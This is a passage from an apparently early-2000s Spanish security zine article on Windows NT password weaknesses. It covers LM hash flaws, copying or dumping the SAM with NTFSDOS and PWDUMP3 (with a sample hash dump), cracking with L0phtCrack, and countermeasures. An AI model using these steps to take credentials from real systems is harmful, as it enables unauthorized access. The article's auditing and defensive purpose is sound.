afanosamente por encontrar formas de comunicarse en forma segura.
Mas de una persona se sorprendera al revisar la historia y descubrir lo
antiguo del concepto de *contrase~a*.
De aquellos primeros dias hasta hoy ha corrido mucha agua bajo el puente y
sin embargo, las *contrase~as reutilizables* siguen siendo un eslabon
fundamental en la seguridad de sistemas.
02. Conceptos Generales
~~~~~~~~~~~~~~~~~~~~~~~
El concepto de contrase~a reutilizable se encuentra presente en un sin
numero de dispositivos y sistemas. Agendas electronicas, telefonos celulares
, contestadores telefonicos, alarmas de incendio y por supuesto la mayoria de
los sistemas informaticos sumado a un largo etcetera forman parte de este
universo.
Como suele suceder en estos casos, si bien existen diferencias sustanciales
en su implementacion hay algunos conceptos propios de la autentificacion por
contrase~as que parecen mantenerse inalterables en los sistemas informaticos,
mas alla de la implementacion que cada uno de ellos desarrolle en sus
productos.
A continuacion mencionaremos dos de los puntos mas importantes:
- Conjunto de pares
Esto es sencillamente lo que conocemos como el conjunto de
USUARIO/CONTRASE~A.
Este punto de seguro le resultara conocido puesto que es la forma que
habitualmente utilizan los sistemas informaticos para reconocer un usuario
legitimo.
- Almacenamiento de las credenciales
Aqui otro de los puntos en comun entre las diferentes implementaciones.
Todas ellas en algun punto necesitan almacenar fisicamente las credenciales
contra las cuales se validaran los datos correctos.
03. Debilidades en la Implementacion de contrase~as
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Antes de entrar de lleno al tema al que atiende este articulo, me gustaria
mencionar algunos aspectos por los cuales el ataque sistematico a contrase~as
sigue siendo con el correr de los tiempos uno de los riesgos mas importantes
a tener en cuenta a la hora de asegurar un sistema.
A pesar del relativo esfuerzo que los proveedores principales han enfocado en
las diferentes implementaciones existe un denominador comun que bajo ningun
aspecto debe pasarse por alto a la hora de verificar la seguridad de un
sistema: *El Factor Humano*.
- Nombres de Usuario
Si bien existen unas cuantas buenas herramientas, sean libres o comerciales
, utilizadas en la fase de *enumeracion* (Se denomina comunmente de esta
forma a una de las instancias iniciales en los ciclos de un ataque a
sistemas informaticos) que nos permiten conocer los nombres de usuarios del
sistema objetivo, muchas veces siquiera es necesario hacer uso de las
mismas para obtener un nombre de usuario valido.
La mayoria de las veces bastara con conocer el nombre y apellido de algun
empleado o usuario del sistema a atacar (Ver articulo de Ingenieria Social
en RareGazz 18) y probar las tipicas combinaciones utilizadas al momento de
nombrar usuarios en un sistema.
Esto
es, si la persona identificada por el atacante como empleado/usuario
del sistema objetivo se llama Juan Perez, lo mas habitual sera encontrar
que alguna de las siguientes denominaciones es en definitiva la utilizada
por el administrador para nombrar sus usuarios:
jperez@objetivo.com
perezj@objetivo.com
juanp@objetivo.com
pjuan@objetivo.com
Es muy comun encontrar que los administradores no prestan atencion a la
hora de seleccionar la metodologia al momento de nombrar a sus usuarios,
pero lo cierto es que en entornos de *Seguridad Media* se deberia dedicar
un esfuerzo mayor a la hora de resolver este dilema.
Despues de todo... acaso obteniendo un nombre de usuario valido... el
atacante no tiene el cincuenta por ciento de su trabajo culminado ????
- Contrase~as
Y aqui es donde mas interviene tal como mencionara en los parrafos
anteriores, *el factor humano*.
En principio es sumamente habitual al realizar una auditoria de contrase~as
, encontrarse con palabras triviales y absolutamente adivinables.
Nombres propios, nombres de mascotas, nombres de astros y otra vez un largo
etcetera... hacen de la seleccion de passwords por parte de los usuarios un
mero tramite.
En el otro extremo tenemos aquellos gerentes o directores a los cuales se
suele *asignar* un password con algun grado de complejidad los cuales
terminan siendo anotados en un taco, estampados mediante un autodhesivo en
el monitor o teclado de su pc personal y por supuesto conocido por su
secretaria y colaboradores, perdiendo de esta forma su estatus de *palabra
secreta*.
Si bien a lo largo de este documento intentare poner de manifiesto unas
cuantas vulnerabilidades propias de las implementaciones de user/pass en
Windows NT, me parecio sumamente importante mencionar en este apartado
aquellas caracteristicas que trascienden lo *particular* de estos
sistemas.
04. Debilidades en la Implementacion de Contrase~as en Windows NT 4.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Quienes hayan seguido de cerca la evolucion de los sistemas operativos de
Microsoft habran notado su esfuerzo continuo por mantener la compatibilidad
con sus desarrollos anteriores.
Si bien este atributo suele ser en principio bienvenido y en muchos casos
hasta necesario, lo cierto es que lamentablemente tambien ha sido el causante
principal de alguna de las mas terribles vulnerabilidades conocidas hasta
la fecha de los sistemas Windows NT.
Un claro ejemplo de lo expuesto en el parrafo anterior es el que se da
respecto de las formas en que NT maneja los hash de contrase~as en virtud de
mantener la compatibilidad con los clientes Windows for Workgroups y Windows
95/98.
Para entenderlo un poco mejor les propongo revisar al menos superficialmente
algunos de los puntos principales en el proceso de administracion de
credenciales en Windows NT:
a. Que es una funcion hash? Que es un hash?
Recogiendo la definicion publicada por RSA en su website podriamos decir
que una funcion hash H, es una transformacion que sucede al tomar un
valor de entrada m y retornar un string de extension fija, el cual
recibe el nombre de *valor hash* h (Esto es igual que decir h=H(m))
Las funciones hash H son tambien llamadas *de una sola direccion*, esto
significa que: dado un valor h, es computacionalmente impracticable el
encontrar alguna entrada x tal como H(x)=h.
Nota: Para obtener una definicion completa acerca de funciones y valores
Hash, puede dirigir su explorador a:
http://www.rsasecurity.com/rsalabs/faq/2-1-6.html
b. Como trabaja NT con valores hash?
Como la mayoria de los sistemas basados en contrase~as los sistemas
Windows requieren algun mecanismo para almacenar en forma segura las
credenciales que se utilizaran para realizar los chequeos necesarios al
momento de autentificar un usuario.
Windows NT encripta las contrase~as antes de almacenarlas en lo que se
denomina SAM, por *Security Account Manager*.
La SAM es en definitiva una base de datos que alberga los nombres de
usuarios y contrase~as del sistema local o del *Controlador de Dominio*,
en caso que esta sea la funcion asignada al equipo en cuestion, previa
codificacion de los datos a almacenar.
Este proceso de codificacion no es mas que un proceso de hashing como el
que se describiera en parrafos anteriores.
De esta forma entonces NT toma el valor de longitud variable ingresado
al registrar una contrase~a (El cual segun el ejemplo precedente seria
m) y lo procesa mediante su funcion de hash (H) para finalmente
almacenar el *valor hash* (h, en su caracter de string de tama~o fijo y
generacion Impredecible) de la contrase~a ingresada.
En definitiva, como consecuencia de este proceso, cada vez que un
usuario inicia una sesion e introduce una contrase~a, NT procede a
codificar la contrase~a y compararla con el hash legitimo del usuario
almacenado en la SAM.
En caso de que estos valores coincidan, NT autentifica al usuario.
Nota: NT realiza dos encriptaciones siendo el calculo de valor hash la
primera de estas. A los efectos de no complicar la explicacion, tanto
esta segunda fase como algunos procesos adicionales incluidos al momento
del logon, se han obviado en forma intencional (Ejemplo algoritmo MD4,
circuito LSA, token's, etc).
Podra obtener una explicacion detallada de este proceso en la Knowledge
Database de Microsoft bajo el ID=102716.
Como seguramente habran imaginado a estas alturas, el objetivo de
manejarse con valores hash apunta principalmente a los siguientes
puntos:
- Que lo que se transmita por la red sean *valores
hash* y no contrase~as.
- Que en caso de que se consiga acceder a la SAM lo
que se logre solo (?) sea obtener valores hash, no
contrase~as.
c. Tipos basicos de autentificacion en Windows
Inicialmente Microsoft comenzo a incluir conectividad en sus sistemas
operativos aproximadamente a partir de su version de Windows for
Workgroups.
Si bien de aquel momento hasta nuestros dias se ha recorrido mucho
camino, la realidad es que aun hoy en dia es mas que frecuente encontrar
que muchas empresas que poseen sistemas centrales montados sobre Windows
NT o Windows 2000 aun conservan gran cantidad de clientes Windows 95/98
y Workstation.
Conforme las tecnologias fueron avanzando, los tipos de autentificacion
se fueron resforzando llegando hasta le implementacion Kerberos en
Windows 2000.
El siguiente cuadro muestra los tipos de autentificacion implementados
en los entornos Windows y los clientes soportados:
Tipo de Clientes
Autentificacion Compatibles
----------------- ---------------------
LANMan Todos (95/98/NT/2000)
NTLM NT4, 2000
NTLM v2 NT4 Pos SP4, 2000
Kerberos 2000
d. El verdadero problema: LanManager
Algun tiempo atras, una debilidad en la vieja hash de LAN Manager fue
divulgada y desde aquel momento muchas cosas han cambiado respecto de
la mentada seguridad de el esquema de autentificacion en sistemas
Windows NT/2000.
NT maneja dos versiones encriptadas totalmente independientes una de la
otra.
Por un lado la version LanMan (Hash LANMan) y por otro la version NT
(Hash de NT).
El objetivo de este procedimiento, es precisamente mantener la
compatibilidad con las versiones de windows que utilizan el sistema
LAN Manager al momento de autentificar un usuario (Windows 95/98).
De esta forma, ambos hashes de contrase~as se almacenan en la SAM
permitiendo utilizar uno u otro de acuerdo al cliente desde el cual se
conecte el usuario.
Unos de los defectos mas importantes del hash LAN Manager es la division
de la contrase~a en dos mitades de siete caracteres.
Debido a esto en realidad cualquier contrase~a de, por ejemplo ocho
caracteres, sera traducido al momento de su encriptacion, como una
contrase~a de siete caracteres y otra de un caracter.
Como si esto fuera poco el la funcion hash de LANManager, como primera
medida convierte absolutamente todos los caracteres del password en
cuestion a mayusculas, degradando aun mas la efectividad final de las
contrase~as seleccionadas y por consecuencia del hash almacenado en
la SAM.
Para clarificar lo mencionado en los parrafos anteriores, le propongo
analizar un ejemplo publicado en el libro *Hacking Exposed: Network
Security Secrets and Solutions* de Stuart McClure, Joel Scambray, George
Kurtz el cual a mi modesto entender ilustra claramente la debilidad
comentada:
*passfilt es una DLL incluida con el SP2 de Windows NT la cual sera
comentada mas adelante en este mismo documento.
[...]
Supongamos, por ejemplo, una contrase~a de 12 caracteres que cumpla con
passfilt*, <<123456Qwerty>>. Cuando esta contrase~a se encripta con el
algoritmo LanMan, en primer lugar, todos sus caracteres se convierten a
mayusculas <<123456QWERTY>>. A continuacion, se rellena la contrase~a
con caracteres nulos (blancos) para convertirla en una palabra de 14
caracteres de longitud <<123456QWERTY__>>. Antes de encriptarla, se
divide la cadena de 14 caracteres en dos mitades, dejandola en
<<123456Q>> y <<WERTY__>>.
Cada cadena se encripta individualmente, y el resultado se concatena.
El valor encriptado para <<123456Q>> es 6BF11E04AFAB197F y el valor
correspondiente a <<WERTY__>> es 1E9FFDCC75575B15. La informacion
concatenada es 6BF11E04AFAB197F1E9FFDCC75575B15.
[...]
De esta forma una contrase~a que en principio podria ser considerada
medianamente segura, teniendo en cuenta que contiene numeros, mayusculas
y minusculas, al ser transformada a mayusculas y posteriormente
fraccionada en dos palabras se convierte en un blanco sencillo para
algunas utilidades de cracking, pues las mismas no solo que se enfrentan
a 2 passwords de 7 caracteres (En vez de 1 de 14 caracteres) sino que en
caso de lograr adivinar con exito la primer mitad, lo mas probable es
que quien este practicando el cracking deduzca el contenido de la mitad
restante, como muy probablemente pasaria en el ejemplo <<123456Qwerty>>.
NOTA: Podra obtener una explicacion mas detallada acerca de este punto
en la siguiente URL:
http://www.atstake.com/research/lc3/documentation/doc.html#Technical
Details About Network SMB Capture
06. Obteniendo datos de la SAM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Imagino que llegado este punto habra quedado absolutamente claro la necesidad
de obtener o acceder de alguna forma a la base de datos SAM del sistema NT a
auditar, a los efectos de poder lanzar sobre ella alguna de las herramientas
de cracking convencionales.
Antes de continuar, vale la pena recordar que NT guarda los datos de la SAM
en un archivo llamado precisamente SAM. Dicho archivo se encuentra en:
%systemroot%\system32\config
Este archivo no es ni mas ni menos que la representacion fisica de los
valores presentados en la llave HKEY_LOCAL_MACHINE\SAM
Tanto la mencionada clave como el archivo SAM no se encuentran disponibles
para ser revisados o copiados pues el sistema operativo los mantiene
bloqueados mientras se encuentra funcionando.
Bien, dicho esto mencionaremos tres o cuatro de las formas en las cuales se
podra acceder a la SAM de un sistema del tipo Windows NT.
a. Arrancar con un sistema operativo distinto (NTFSDOS)
Debido a que, tal como acabo de mencionar, el archivo SAM se encuentra
bloqueado mientras el sistema operativo esta en uso, se debera bootear
con un segundo sistema operativo para lograr el acceso a la carpeta
deseada.
En quellos casos en los que la particion del sistema objetivo se encuentre
bajo NTFS, aun se podra recurrrir a la popular herramienta de Sysinternals
*NTFSDOS* (http://www.sysinternals.com/ntw2k/freeware/NTFSDOS.shtml) para
lograr el acceso requerido.
Este producto accede y monta particiones NTFS como unidades logicas en un
entorno MS-DOS.
La distribucion de NTFSDOS ofrecida gratuitamente en la web de Sysinternal
, esta compuesta por tan solo tres archivos (readme.txt, ntfsdos.exe y
ntfshlp.vxd) y pesa alrededor de 39KB y nos permitira copiar la
informacion deseada (Tambien existe una version comercial, la cual permite
acceso total)
Debido a su sencillez (Solo existen seis paramentros de linea de comando)
no hare otra cosa que mencionar el procedimiento de utilizacion basico el
cual consta de tres pasos:
Paso 1 Generar un disco booteable, preferentemente MS-DOS 7.0
(He encontrado que bajo ciertas circunstancias otros
sistemas de arranque como MS-DOS 5.0 o MS-DOS 6.22
se vuelven un tanto inestable)
Paso 2 Reiniciar el equipo y bootear con el disco recientemente
generado.
Paso 3 Estando en el nuevo command prompt ya estaremos en
condiciones de correr *ntfsdos.exe*.
Luego de ejecutar la peque~a aplicacion se nos devolvera
un mensaje similar al que se muestra a continuacion:
--------------------------------------------------------
A:\>ntfsdos
NTFS File System Driver for DOS/Windows V3.02R (Read-Only)
Copyright (C) 1996-2001 Bryce Cogswell and Mark Russinovich
Sysinternals - www.sysinternals.com
Initialized 500 KB of XMS cache.
Mounting NTFS partition(0x80:1) as drive: D
Mounting NTFS partition(0x80:1) as drive: E
Mounting NTFS partition(0x80:1) as drive: F
A:\>
--------------------------------------------------------
Una vez accedida la carpeta %systemroot%\system32\config solo tendra que
utilizar el comando copy que seguramente habra incluido en su disco de
arranque junto a los archivos de NTFSDOS, para obtener el archivo SAM.
b. Obtener la copia de seguridad de la sam del directorio repair
Cada vez que se ejecuta la aplicacion RDISK en un sistema NT se crea una
copia de el archivo SAM en el directorio %systemroot%repair.
RDISK es una utilidad de los sistemas operativos Windows NT que permite
generar un juego de diskettes de recuperacion con informacion vital que
suele ser una herramienta importante al momento de recuperar el sistema
operativo ante una falla.
En caso de que esta utilidad haya sido ejecutada en algun momento, y que
el administrador no haya eliminado esta informacion luego de generar los
diskettes de recuperacion, tan solo tendra que copiar de la ruta
especificada, el archivo SAM._ el cual se encuentra comprimido.
c. Extraer los hashes de la SAM (PWDUMP)
La idea en este caso es simple. Se trata de volcar los hashes contenidos
en la SAM objetivo, a un archivo plano de forma tal que pueda ser
interpretado por las herramientas de cracking de contrase~as mas
populares.
PWDUMP es sin lugar a dudas una de las herramientas mas utilizadas a tal
efecto.
Al momento de escribir esta nota la version mas avanzada de esta
herramienta denominada PWDUMP3 v2.0 se encuentra disponible para su
descarga en forma gratuita en la siguiente URL:
http://www.polivec.com/pwdump3download.html
PWDUMP3 es sumamente sencillo de utilizar. Una vez descargado, tan solo
sera necesario descomprimir el download en una carpeta desde la cual se
lanzara la herramienta, y ejecutarla pasandole como parametro el equipo
objetivo asi como el archivo de destino y el nombre de usuario:
ATENCION: Para que esta herramienta funciona se requiere que el usuario
que la ejecute tenga permisos de ADMINISTRATOR en la maquina objetivo.
Sintaxis: PWDUMP3 machineName [outputFile] [userName]
Al ejecutar la herramienta con los parametros requeridos, se nos
presentara una pantalla con el siguiente aspecto:
--------------------------------------------------------------------------
D:\pwdump3v2>pwdump3 pcobjetivo c:\destino.txt administrator
pwdump3 (rev 2) by Phil Staubs, e-business technology, 23 Feb 2001
Copyright 2001 e-business technology, inc.
This program is free software based on pwpum2 by Todd Sabin under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it
and/or modify it under the terms of the GNU GPL, as published by the Free
Software Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH
THIS PROGRAM. Pleasee see the COPYING file included with this program
(also avaible at www.ebiz-tech.com/pwdump3) and the GNU GPL for further
details.
Please enter the password >************** <-------- Solicita Password
Completed. <-------- Proceso Terminado
D:\pwdump3v2>type c:\destino.txt <-------- Consulto Resultado
Administrator:500:51365BA539C0B51C7586247B8D2C9F9E:178FE8F0 ( Informacion
Guest:501:NO PASSWORD*********************:NO PASSWORD***** recortada por
VUSR_NOMUSER:1000:9EA4EE76350A6CBF300EDB7D8C243531:234BF879 el editor )
--------------------------------------------------------------------------
Como se puede observar el contenido muestra claramente la informacion que
PWDUMP puede conseguir por nosotros. Una vez obtenidos estos datos, solo
habra que importarlos desde la herramienta de cracking/auditoria por
nosotros elegida.
Tal como se menciona en la documentacion que acompa~a a PWDUMP3, esta
herramienta incialmente se conecta al equipo remoto, utilizando el recurso
compartido $ADMIN, luego aprovechando la posibilidad de Windows NT/2000 de
instalar y desinstalar servicios en forma remota, PWDUMP instala el
servicio que acompa~a esta distribucion llamado *pwservice.exe* el cual
extrae la informacion de los hash almacenados temporalmente en la registry
remota.
A partir de alli utiliza una tecnica denominada DLL Injection que le
permite correr con altos privilegios bajo el espacio de procesos de otros
subsistemas, en este caso LSASS (Local Security Authority Subsystem) con
el cual termina obteniendo la informacion necesaria para generar el
archivo de output.
NOTA: Podra obtener una explicacion mas detallada acerca de este punto
revisando la documentacion que acompa~a la herramienta. Recomiendo
enfaticamente su lectura pues considero sumamente enriquecedor los
procedimientos utilizados por PWDUMP.
d. Obtener hashes por medio de escuchas en la red
Este es quizas uno de los metodos mas avanzado respecto a la obtencion de
hashes, en este escenario, se requiere la instalacion de algun tipo de
sniffer encargado de capturar datos en la red (Especificamente paquetes
SMB) los cuales contienen los hashes encriptados que puedan servirnos a
los efectos de ser procesados por alguna herramienta de cracking de
contrase~as.
07. Infalible: L0phtCrack
~~~~~~~~~~~~~~~~~~~~~~~~~
LLegado este punto y luego de haber pasado por la tarea de obtener
informacion de la SAM, utilizando a tal efecto alguno de los procedimientos
descriptos en los parrafos anteriores, solo nos quedara seleccionar algun
programa que nos permita auditar/crackear los hash conteniendo usuario y
passwords.
Si bien existen un par de buenas herramientas algunas de ellas freeware (Ver
articulo de Nihil en Phrack 50) nos olvidaremos de ellas por un momento para
conversar acerca de la que a mi entender es la mejor herramienta de auditoria
de passwords disponible hoy dia: LC3 ( L0phtCrack Version 3.02 )
LC3 es la evolucion del primer producto desarrollado por la gente del grupo
L0pht (L0pht Heavy Industries). Algunos a~os despues, transformados en lo que
hoy es la empresa @Stake, aun siguen distribuyendo, en realidad
*comercializando* su producto de auditoria de contrase~as.
Como la mayoria de los productos de su tipo, LC3 es en escencia, un software
que utiliza distintos metodos de comparacion entre el hash del usuario y un
dato de entrada previamente convertido segun el algoritmo de encriptacion
utilizado en la generacion original de la contrase~a a auditar, hasta hayar
la combinacion correcta.
Los mas comun es que el mencionado dato de *entrada* provenga de un
diccionario de palabras, o sea producto algun tipo de generacion aleatoria.
Si ha esto le sumamos la debilidad anteriormente comentada respecto de los
Hash LANManager, estaremos en condiciones de afirmar que una vez que se
alimenta a LC3 con la informacion correcta todo pasa a ser una cuestion de
tiempo antes de lograr el objetivo deseado.
a. LC3 en accion
Realmente no hay mucho para explicar acerca de la forma de operar con LC3
puesto que gracias a su impecable interfaz grafica, la mayoria de las
funciones son absolutamente intuitivas.
A modo de ejemplo repasaremos los pasos que se deberan seguir al momento
de realizar la auditoria de contrase~as.
Paso 1 Inmediatamente despues de haber instalado el software,
estaremos en condiciones de iniciar una nueva *session*
, lo cual podremos lograr facilmente haciendo click sobre
el icono correspodiente o accediendo al menu *File/New
Session*.
Paso 2 Iniciada una *session* el proximo paso sera tal como nos
indica el mismo LC3, utilizar el menu *Import* desde el
cual se podra seleccionar el tipo de importacion deseado,
entre las siguientes opciones:
Import From Local Machine (Requiere derechos de Admin)
Import From Remote Registry... (Requiere derechos Admin)
Import From SAM File...
Import From Sniffer...
Import From .LC File
Import From PWDUMP File...
Paso 3 De acuerdo a la opcion que se haya seleccionado en el
paso anterior LC3 comenzara a displayar, en forma
inmediata los nombres de usuario encontrados, como asi
tambien la informacion correspondiente a los valores
LM Hash y NTLM Hash.
Paso 4 Finalmente,llegado este punto, nos encontraremos listos
para seleccionar las opciones a utilizar en el cracking
de contrase~as.
Estas podran utilizarse en forma particular o por una
combinacion de las mismas.
- Dictionary Crack
Tal como se expresa en la documentacion de LC3, esta
suele ser la via mas rapida para dar con los paswords mas
sencillos. Su efectividad se encuentra directamente
relacionada con el tama~o y tipo del diccionario a
utilizar.
Por defecto la version 3.02 de LC3 utiliza un diccionario
ingles de 25000 palabras, aunque siempre existe la
posibilidad de seleccionar un diccionario diferente.
NOTA: Podra encontrar una gran variedad de diccionarios
en formato estandar dirigiendo su explorador a la
siguiente URL:
http://ftp.cerias.purdue.edu/pub/dict/wordlists/
- Dictionary/Brute Hybrid Crack
Este particular metodo utiliza el diccionario de datos
seleccionado sumado a *n* variaciones que pueden ser
dispuestas utilizando el cuadro *Characters to vary (more
is slower)*
De esta forma se podran encontrar con algo mas de
esfuerzo aquellas passwords que complementen las palabras
del diccionario con algun juego de *n* caracteres, tal
como lo demuestran los ejemplos mencionados por LC3:
*Dana99* o *monkeys!*.
- Brute Force Crack
Este es el metodo de cracking mas abarcativo, durante
este proceso se intentan todas las posibilidades respecto
del set de caracteres escogido (Letras, letras y numeros,
letras numeros y caracteres especiales, etc)
Debido a sus caracteristicas, este metodo puede implicar
un tiempo considerable de proceso, hasta descubrir
passwords como las mostradas por LC3 en sus ejemplos
*WeR3pl6s* o *vC5%69+12b*
Paso 5 Habiendo completado los pasos anteriores, habremos
finalizado la configuracion de las *session* de auditoria
, por lo tanto bastara con clickear sobre el icono de
play (*Begin Audit*) para que LC3 comienze a realizar su
trabajo.
Inmediatamente despues de haber lanzado el proceso de auditoria, LC3
comenzara a mostrar la informacion correspondiente a los passwords mas
sencillos.
Es fascinante ver la velocidad con la que aparecen por ejemplo aquellos
passwords que coinciden con el nombre mismo del usuario, o con palabras
sencillas incluidas dentro del diccionario.
Lo mas probable es que al cabo de algunas horas LC3 haya acabado por
mostrar la informacion completa de un centenar de usuarios/passwords con
combinaciones sencillas o de mediana complejidad.
En aquellos casos en los que LC3 se tope con contrase~as realmente
complejas, el cracking podria demorar varios dias. Lo cierto es que... a
partir de este momento solo sera una cuestion de tiempo...
NOTA: La version 3.02 de LC3 que al momento de escribir este articulo se
ecuentra disponible en la web de @STAKE, es una version de Evaluacion y como
tal, no solo limita su utilizacion a 15 dias, sino que por otro lado no
incluye la funcionalidad de ataques de brute force que si posee la version
comercial.
b. Mejoras en la version 3.02
Si bien la version 3.02 de esta potente herramienta no deslumbra por sus
novedades hay algunas de ellas que vale la pena se~alar.
A continuacion le propongo revisar la traduccion de la documentacion de
LC3 v3.02 que he realizado respecto de la seccion *Wath's New in LC3*:
--------------------------------------------------------------------------
Lo Nuevo en LC3
LC3 agrega numerosas mejoras a las capacidades aclamadas en sus
predescesor L0phtCrack:
Soporte para Windows 2000
LC3 corre en forma transparente sobre Windows 2000. Puede extraer Hashes
no encriptados de contrase~as que utilizen la proteccion SYSKEY. Tambien
se provee un sniffer (Tal es el caso de WinPcap) con soporte total para
Windows 2000.
Soporte para Set de Caracteres Internacionales
LC3 soporta la entrada de caracteres internacionales, esto le permite
trabajar con sistemas operativos y passwords con Set de Caracteres como:
Europo, Cirilico, Griego, Hebreo, Arabigo y otros lenguajes.
Crackig Distribuido
LC3 brinda al administrador la posibilidad de acelarar los tiempos de
auditoria distribuyendo la carga en varias partes que pueden ser
ejecutadas en forma simultanea por multiples equipos.
Ocultar Contrase~as Crackeadas
LC3 brinda a los administradores la opcion de conocer cuando un password
haya sido crackeado, sin que necesariamente esto signifique conocer dicho
password.
Tiempo de Auditoria
Los Auditores podran obtener una comparacion cuantitativa de la fortaleza
o debilidad de las contrase~as, revisando los informes de LC3 sobre el
tiempo requerido para crackear cada contrase~a.
Asistente
LC3 ofrece un asistente que ayuda a los nuevos auditores de contrase~as a
configurar y ejecutar sus primeras auditorias con facilidad y rapidez.
Exportacion
Con mayor facilidad que en versiones anteriores se pueden manipular
los resultados de una revision de contrase~a, exportandolos a un archivo
delimitado por tabs.
Soporte de Producto Mejorado
Los usuarios registrados de LC3 cuentan con soporte via email con un
tiempo de respuesta menor a 24 horas.
Nuevo Diccionario
LC3 incluye un diccionario de 250.000 palabras en ingles.
Manipulacion de Contrase~as Importadas
Facilmente borre contrase~as encriptadas directamente desde la ventana de
LC3, para de esta forma concentrarse unicamente en las passwords que
usted desea auditar.
--------------------------------------------------------------------------
Seguramente quienes hayan trabajado con versiones anteriores de L0phtCrack
, no notaran grandes cambios en LC3, aunque aquellos que como yo utilizen
esta herramienta en forma habitual muy probablemente hayan visto con
agrado la inclusion o mejora en puntos como el de procesamiento
distribuido o la eliminacion de contrase~as desde la misma ventana de
auditoria.
08. Windows 2000
~~~~~~~~~~~~~~~~
Si bien este documento esta especificamente dedicado a Windows NT me gustaria
mencionar que a pesar de los esfuerzos de Microsoft y algunas nuevas
caracteristicas incorporadas en Windows 2000, en la practica algunas cosas no
han cambiado mucho.
Alguna de las mayores diferencias sean quizas la inclusion de AD (Activate
Directory) en *remplazo* de la SAM, y la inclusion de la autenticacion
Kerberos.
Ahora bien... volviendo a las fuentes... aquellos administadores que decidan
mantener instalaciones Hibridas (Windos NT/Windows 2000) seguramente veran
estas mejoras como una utopia.
En aquellos casos, en los que no se haya implementado AD, la SAM seguira
cumpliendo practicamente la misma funcion de dias pasados, y respecto de la
autenticacion Kerberos, asi como sucede entre Windows NT y Windows 95/98, los
hashes NT Lan Manager heredados, siguen siendo distribuidos por la red pues
Windows 2000, siguiendo la linea de su antecesor, degrada el nivel de
autentificacion en caso de que uno de los extremos de la conexion no soporte
kerberos.
De esta forma, la mayoria de los ataques de contrase~as sobre Windows 2000,
siguen siendo en la practica, tan efectivos como en Windows NT.
Ahora bien, como contraposicion a lo expuesto en el parrafo anterior podremos
hallar al menos un par de caracteristicas distintivas de Windows 2000
respecto al almacenamiento y gestion de contrase~as:
En principio, Windows 2000 utiliza la encriptacion SYSKEY como la opcion por
defecto, dificultando bastante la tarea de cracking en determinadas
circunstancias, pero lo que es aun mejor, a partir de Windows 2000 el largo
de las passwords rompe la barrera de los 14 caracteres para brindar la
posibilidad al usuario de registrar passwords de hasta 128 caracteres,
haciendolas *practicamente* indescifrables (En parte, producto de que el
viejo LanMAn hash entendera y almacenara una clave de tama~o superior a 15
caracteres como un valor null, para mas inforamcion sobre este hecho sirvase
visitar la siguiente URL:
http://www.securityfriday.com/Topics/win2k_passwd.html)
09. Contramedidas
~~~~~~~~~~~~~~~~~
Si bien el panorama no parece ser el mejor, respecto de la posibilidad de
asegurar las contrase~as de sus sitemas, existen una serie de herramientas
que en conjunto podran colaborar al fin en cuestion.
- Elimine la informacion del directorio %systemroot%repair
inmediatamente despues de haber generado los discos con
RDISK.EXE (ERD)
- En lo posible NO utilize sistemas de arranque DUAL (FAT/NTFS)
- Asegure el acceso Fisico a sus servidores.
- Almacene las copias de seguridad y los discos de *Reparacion
de Emergencia* en lugares seguros.
- Asegure los directorios de su particion de sistemas con
permisos NTFS personalizados.
- Dedique tiempo a la correcta parametrizacion de las politicas
de cuentas accediendo desde el *User Manager for Domains*
*/Policies/Accounts*.
Los valores usualmente sugeridos son:
Maximum Password Age 45 Days
Minimum Password Age Allow Changes in 7 Days
Minimum Password Length At least 7 Characters
Password Uniqueness Remember 3 Passwords
Lockout after 3 bad logon attempts
Reset Counter after 240 minutes
Lockout Duration Forever (until admin unlocks)
Forcibily disconnect remote
Users from server when Check ON
logon hours expire
User must log on in Check ON
order to change password
- No permita contrase~as menores de 7 digitos.
- Implemente SYSKEY
SYSKEY es una funcionalidad de mejora de encriptacion del SAM,
incluida al mercado a partir de la liberacion del SP2 de
Windows NT.
Su implementacion permite cifrar los datos del SAM con
contrase~as criptograficas de 128 bits contra los 40 bits de
las de las instalaciones por defecto.
La puesta en marcha de SYSKEY es sumamente sencilla pues
requiere tan solo de la ejecucion del ejecutable (SYSKEY.EXE)
y la seleccion de la casilla de verificacion correspondiente
(Encryption Enabled).
Concluido este paso se podra decidir si la llave encriptada
como consecuencia de la implementacion SYSKEY se almacenara en
diskettes o en el disco local.
Un punto importante a tener en cuenta es que Windows 2000
implementa Encriptacion SYSKEY por defecto.
Mas sobre SYSKEY en:
http://support.microsoft.com/directory/article.asp?ID=KB;EN-US
;Q143475&
- Implemente PASSFILT.DLL
Asi como SYSKEY, PASSFILT.DLL se incluye a partir de la
liberacion del SP2 de Windows NT. La utilzacion de
PASSFILT.DLL en una instalacion estandart permitira
al administrador asegurarse el ingreso por parte de los
usuarios, de contrase~as que cumplan ciertos requisitos
minimos de seguridad.
A partir de la implementacion de PASSFILT.DLL, se establecen
los siguientes requisitos:
* Claves de al menos seis caracteres de longitud.
* La clave seleccionada no puede coincidir con
el nombre de usuario o cualquiera de las partes
del mismo.
* Toda clave debe contener, al menos, tres
caracteres de los siguientes:
Letras mayusculas
Letras minusculas
Numeros
Metacaracteres
NOTA: No implemente PASSFILT hasta no haber leido y
comprendido por completo, el articulo publicado en la
siguiente URL:
http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;
Q161990&
- Implemente PASSPROP
PASSPROP es una utilidad incluida en el NT Resource Kit.
Mediante esta herramienta el administrador podra definir un par
de requisitos extras respecto a la seguridad de cuentas de
dominio (Inicialmente surge como un complemento ideal de
PASSFILT.DLL)
En primer lugar PASSPROP nos permitira forzar el uso de
contrase~as que utilizen una combinacion de mayusculas,
minusculas, numeros y simbolos.
Por su parte PASSPROP tambien brinda al administrador, la
posibilidad de bloquear la cuenta de ADMINISTRATOR (Tal como
cualquier usuario normal) permitiendo que esta solo pueda ser
desbloqueada a posterior, desde la consola.
Para implementar PASSPROP, solo bastara con que el
administrador ejecute la herramienta con alguno de los
paramentros propios de dicha utilidad:
/simple Restaura a la instalacion por default.
/complex Fuerza passwords combinados.
/adminlockout Permite que la cuenta ADMINISTRATOR
sea lockeada.
/noadminlockout Restaura a la instalacion por default
(ADMINISTRATOR, no puede ser bloqueada)
- En ambientes de alta seguridad, y cuando sea posible, implemente
